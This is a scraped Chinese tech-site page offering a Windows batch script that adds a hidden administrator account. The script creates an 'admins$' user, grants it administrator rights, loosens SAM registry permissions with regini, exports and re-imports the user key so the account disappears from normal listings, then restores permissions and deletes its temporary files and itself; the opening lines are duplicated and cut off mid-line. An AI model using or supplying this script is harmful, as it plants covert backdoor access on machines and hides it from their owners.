熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> 嵌入式開發 >> 正文

批處理 添加隱藏用戶代碼

2022-06-13   來源: 嵌入式開發 

  復制代碼 代碼如下:

  net user admins$ /add
net localgroup administrators admins$ /add
Echo HKEY_LOCAL_MACHINE\SAM [] >>c:/temini
Echo HKEY_LOCAL_MACHINE\SAM\SAM [] >>c:/temini
Echo HKEY
  net user admins$ /add
  net localgroup administrators admins$ /add
  Echo HKEY_LOCAL_MACHINE\SAM [] >>c:/temini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM [] >>c:/temini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains [] >>c:/temini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [] >>c:/temini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [] >>c:/temini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [] >>c:/temini
  regini c:/temini
  regedit /e c:\reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
  net user admins$ /del
  regedit /s c:\reg
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [] >c:/temini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [] >>c:/temini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [] >>c:/temini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains [] >>c:/temini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM [] >>c:/temini
  Echo HKEY_LOCAL_MACHINE\SAM\ [] >>c:/temini
  regini c:/temini
  del c:\temini
  del c:\reg
  del %


From:http://tw.wingwit.com/Article/program/qrs/201404/30413.html
    推薦文章
    Copyright © 2005-2022 電腦知識網 Computer Knowledge   All rights reserved.